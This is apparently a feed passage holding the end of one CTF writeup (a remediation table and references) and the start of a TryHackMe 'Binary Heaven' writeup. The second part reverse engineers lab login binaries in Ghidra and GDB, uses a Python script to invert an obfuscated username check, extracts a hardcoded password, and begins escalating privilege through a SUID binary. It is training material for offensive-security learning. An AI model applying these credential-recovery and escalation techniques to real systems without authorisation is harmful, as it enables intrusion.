&lt;td&gt;Always HTML-encode user input before interpolating it into any template (&lt;code&gt;htmlspecialchars()&lt;/code&gt; at minimum); better, use a templating engine with auto-escaping by default.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSRF in HTML-to-PDF rendering&lt;/td&gt;
&lt;td&gt;Disable remote resource loading in the PDF engine (e.g. &lt;code&gt;--disable-local-file-access&lt;/code&gt; &lt;em&gt;and&lt;/em&gt; restrict/deny outbound network access for the rendering process); render from a sanitized DOM/allow-list of tags rather than raw user HTML; run the renderer in an isolated/sandboxed, network-restricted container.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LFI via &lt;code&gt;file://&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Same as above - disable local file access in the renderer, and additionally sandbox the rendering process's filesystem view (chroot/container) so even a successful file-scheme request can't reach sensitive paths like &lt;code&gt;wp-config.php&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Secrets in &lt;code&gt;wp-config.php&lt;/code&gt; reachable by the web server process&lt;/td&gt;
&lt;td&gt;Store DB credentials and secret keys outside the webroot or in environment variables / a secrets manager, and ensure the PDF renderer cannot reach arbitrary paths on disk in the first place.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Adminer exposed on the production vhost&lt;/td&gt;
&lt;td&gt;Do not deploy Adminer (or any DB admin tool) on a public-facing, production host; if needed, bind it to localhost and tunnel/VPN, add IP allow-listing, and require strong, unique credentials and MFA where supported.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Weak, crackable password (&lt;code&gt;jenny4ever&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Enforce a strong password policy / minimum entropy for all accounts, especially privileged WordPress and system accounts; consider MFA on &lt;code&gt;wp-admin&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Theme File Editor enabled for admin accounts&lt;/td&gt;
&lt;td&gt;Disable the Theme/Plugin File Editor (&lt;code&gt;define('DISALLOW_FILE_EDIT', true);&lt;/code&gt; in &lt;code&gt;wp-config.php&lt;/code&gt;); restrict &lt;code&gt;wp-admin&lt;/code&gt; to trusted IPs; apply least privilege to WordPress accounts.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;tar&lt;/code&gt; wildcard expansion over a web-writable directory, run by cron&lt;/td&gt;
&lt;td&gt;Never glob (&lt;code&gt;*&lt;/code&gt;) over attacker-influenceable directories; use &lt;code&gt;tar --&lt;/code&gt; with explicit file lists, or `find ... -print0 \&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Leftover/forwarded SSH agent socket left world/group accessible&lt;/td&gt;
&lt;td&gt;Never leave forwarded agent sockets reachable by other local users; use {% raw %}&lt;code&gt;ssh -o ForwardAgent=no&lt;/code&gt; by default and only forward deliberately and briefly; tighten socket permissions; avoid long-lived background processes (&lt;code&gt;sleep infinity&lt;/code&gt;) that hold onto sensitive file descriptors/sockets.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;pam_ssh_agent_auth&lt;/code&gt; trusting any reachable agent-held key for &lt;code&gt;sudo&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Scope &lt;code&gt;/etc/ssh/sudo_authorized_keys&lt;/code&gt; tightly and audit it regularly; prefer standard password or hardware-token-based sudo authentication unless the operational need for agent-based sudo is well understood and the agent exposure is tightly controlled; monitor for anomalous &lt;code&gt;sudo&lt;/code&gt; sessions authenticated this way.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;HTML to PDF converters: can I hack them? - Tempest Security, SideChannel blog: &lt;a href="https://www.tempest.com.br/sidechannel/en/html-to-pdf-converters-can-i-hack-them" rel="noopener noreferrer"&gt;https://www.tempest.com.br/sidechannel/en/html-to-pdf-converters-can-i-hack-them&lt;/a&gt; (background on SSRF/LFI techniques against server-side HTML-to-PDF renderers, used to guide Section 3.3 - 3.4)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;pam_ssh_agent_auth&lt;/code&gt; man page: &lt;a href="https://manpages.ubuntu.com/manpages/bionic/man8/pam_ssh_agent_auth.8.html" rel="noopener noreferrer"&gt;https://manpages.ubuntu.com/manpages/bionic/man8/pam_ssh_agent_auth.8.html&lt;/a&gt; (used to understand the sudo PAM configuration in Section 7.2 - 7.4)&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Flags have been redacted in this report per request. &lt;code&gt;machine-ip&lt;/code&gt; refers to the lab target and &lt;code&gt;attacker-ip&lt;/code&gt; refers to the attacker host; neither is publicly routable.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>cybersecurity</category>
      <category>writeup</category>
    </item>
    <item>
      <title>TryHackMe: Binary Heaven - Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Mon, 28 Sep 2026 15:34:24 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-binary-heaven-writeup-12bp</link>
      <guid>https://dev.to/exploitnotes/tryhackme-binary-heaven-writeup-12bp</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;A locked-down TryHackMe box gating SSH access behind two credential-checking binaries: a small C program with an anti-debug/obfuscated string comparison, and a statically linked Go binary hiding a plaintext password in &lt;code&gt;.rodata&lt;/code&gt;. Static reverse engineering in Ghidra and GDB recovers both credentials and yields SSH access as &lt;code&gt;guardian&lt;/code&gt;. From there, a 32-bit SUID binary with no stack canary is exploited via classic &lt;strong&gt;ret2libc&lt;/strong&gt; (using a libc address the binary leaks for free) to escalate to &lt;code&gt;binexgod&lt;/code&gt;. Finally, a root-owned SUID binary that calls &lt;code&gt;system()&lt;/code&gt; with an unqualified &lt;code&gt;echo&lt;/code&gt; inside &lt;code&gt;/usr/bin/env&lt;/code&gt; is abused via &lt;strong&gt;PATH hijacking&lt;/strong&gt; to spawn a root shell, despite the binary's attempt to drop privileges beforehand.&lt;/p&gt;

&lt;p&gt;See the Complete Attack Chain at the end for the condensed version of the whole path.&lt;/p&gt;




&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Machine:&lt;/strong&gt; Binary Heaven&lt;br&gt;
&lt;strong&gt;Attacker IP:&lt;/strong&gt; 10.x.x.x (Kali)&lt;br&gt;
&lt;strong&gt;Target IP:&lt;/strong&gt; 10.49.188.50&lt;/p&gt;


&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;Downloaded and unzipped the provided credentials archive:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;unzip credentials_1614324056485.zip
file angel_&lt;span class="k"&gt;*&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;angel_A: ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped
angel_B: ELF 64-bit LSB executable, x86-64, statically linked (Go binary), not stripped
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two binaries - a small C program and a Go program - both gating some kind of login prompt.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stage 1 - angel_A (Anti-Debug + Obfuscated Username Check)
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;strings angel_A&lt;/code&gt; showed the binary calls &lt;code&gt;ptrace&lt;/code&gt;, and the prompt text gave away the anti-debug gimmick directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Using debuggers? Here is tutorial https://www.youtube.com/watch?v=dQw4w9WgXcQ
Say my username &amp;gt;&amp;gt;
That is not my username!
Correct! That is my name!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Loaded the binary into &lt;strong&gt;Ghidra&lt;/strong&gt; rather than fighting the check live in GDB - since the process never gets &lt;code&gt;ptrace&lt;/code&gt;'d by us, the self-detection branch never fires, and static analysis sidesteps it entirely.&lt;/p&gt;

&lt;h3&gt;
  
  
  Decompiling main()
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;lVar1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ptrace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PTRACE_TRACEME&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;param_5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;param_6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;param_2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lVar1&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Using debuggers? Here is tutorial https://www.youtube.com/watch?v=dQw4w9WgXcQ/n%22"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x1b\36&lt;/span&gt;&lt;span class="s"&gt;m&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;Say my username &amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="se"&gt;\x1b\0&lt;/span&gt;&lt;span class="s"&gt;m"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;fgets&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;local_15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;stdin&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;local_c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;local_c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;puts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x1b\32&lt;/span&gt;&lt;span class="s"&gt;m&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;Correct! That is my name!&lt;/span&gt;&lt;span class="se"&gt;\x1b\0&lt;/span&gt;&lt;span class="s"&gt;m"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;local_c&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;local_15&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;local_c&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;local_c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;local_c&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;puts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x1b\31&lt;/span&gt;&lt;span class="s"&gt;m&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;That is not my username!&lt;/span&gt;&lt;span class="se"&gt;\x1b\0&lt;/span&gt;&lt;span class="s"&gt;m"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Not a plain &lt;code&gt;strcmp&lt;/code&gt; - a byte-by-byte loop comparing each input character, transformed as &lt;code&gt;(input_char ^ 4) + 8&lt;/code&gt;, against a global array &lt;code&gt;username&lt;/code&gt;, stored as full 4-byte ints rather than a packed &lt;code&gt;char[]&lt;/code&gt; (visible in the listing as &lt;code&gt;6b 00 00 00 79 00 00 00 ...&lt;/code&gt;).&lt;/p&gt;

&lt;h3&gt;
  
  
  Extracting and inverting
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;00104060  6b 00 00 00 79 00 00 00 6d 00 00 00 7e 00 00 00
          68 00 00 00 75 00 00 00 6d 00 00 00 72 00 00 00
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Low bytes: &lt;code&gt;0x6b 0x79 0x6d 0x7e 0x68 0x75 0x6d 0x72&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;raw_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x6b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x79&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x6d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x7e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x75&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x6d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x72&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;raw_bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;guardian
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirmed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./angel_A
Say my username &amp;gt;&amp;gt; guardian
Correct! That is my name!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Username:&lt;/strong&gt; &lt;code&gt;guardian&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Stage 2 - angel_B (Go Binary Password Check)
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;strings angel_B&lt;/code&gt; was too noisy (full Go runtime symbol table, GC internals). Went straight to GDB:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gdb ./angel_B
&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; info functions
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Surfaced &lt;code&gt;main.main&lt;/code&gt; cleanly. Disassembled it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nasm"&gt;&lt;code&gt;&lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="mh"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rcx&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="kc"&gt;$&lt;/span&gt;&lt;span class="mh"&gt;0xb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rcx&lt;/span&gt;          &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nv"&gt;length&lt;/span&gt; &lt;span class="nb"&gt;ch&lt;/span&gt;&lt;span class="nv"&gt;eck&lt;/span&gt; &lt;span class="err"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"GOg0esGrrr!"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="mh"&gt;0x4a54a1&lt;/span&gt;
&lt;span class="nf"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x4a54a1:&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,(&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;lea&lt;/span&gt; &lt;span class="mh"&gt;0x2585f&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nv"&gt;rip&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;   &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="mh"&gt;0x4cad0b&lt;/span&gt;  &lt;span class="o"&gt;&amp;lt;-&lt;/span&gt; &lt;span class="nv"&gt;reference&lt;/span&gt; &lt;span class="nv"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;address&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;runtime.memequal&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Go string comparisons compile to a length check (&lt;code&gt;0xb&lt;/code&gt; = 11 bytes) plus &lt;code&gt;runtime.memequal&lt;/code&gt; against a &lt;code&gt;.rodata&lt;/code&gt; pointer.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gdb &lt;span class="nt"&gt;-batch&lt;/span&gt; &lt;span class="nt"&gt;-ex&lt;/span&gt; &lt;span class="s1"&gt;'x/s 0x4cad0b'&lt;/span&gt; ./angel_B
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="err"&gt;x&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="err"&gt;cad&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="err"&gt;b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"GOg0esGrrr!Ideographic..."&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The confirmed 11-byte length gave the exact cutoff.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Password:&lt;/strong&gt; &lt;code&gt;GOg0esGrrr!&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Confirmed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./angel_B
Say the magic word &amp;gt;&amp;gt; GOg0esGrrr!
Right password! Now GO ahead and SSH into heaven.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Initial Access - SSH as guardian
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh guardian@10.49.188.50
&lt;span class="c"&gt;# password: GOg0esGrrr!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;guardian@heaven:~$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;
&lt;span class="go"&gt;uid=1001(guardian) gid=1001(guardian) groups=1001(guardian)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Flag 1
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;guardian_flag.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM{REDACTED_GUARDIAN_FLAG}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Privilege Escalation - guardian to binexgod
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Enumeration
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-rwsr-sr-x 1 binexgod binexgod 15772 May  8  2021 pwn_me
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Setuid/setgid binary owned by &lt;code&gt;binexgod&lt;/code&gt;. &lt;code&gt;.python_history&lt;/code&gt; hinted at prior buffer-length fuzzing (&lt;code&gt;'A'*32&lt;/code&gt;, &lt;code&gt;'A'*55&lt;/code&gt;).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;file pwn_me
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pwn_me: setuid, setgid ELF 32-bit LSB shared object, dynamically linked, interpreter /lib/ld-linux.so.2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;checksec &lt;span class="nt"&gt;--file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;pwn_me
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
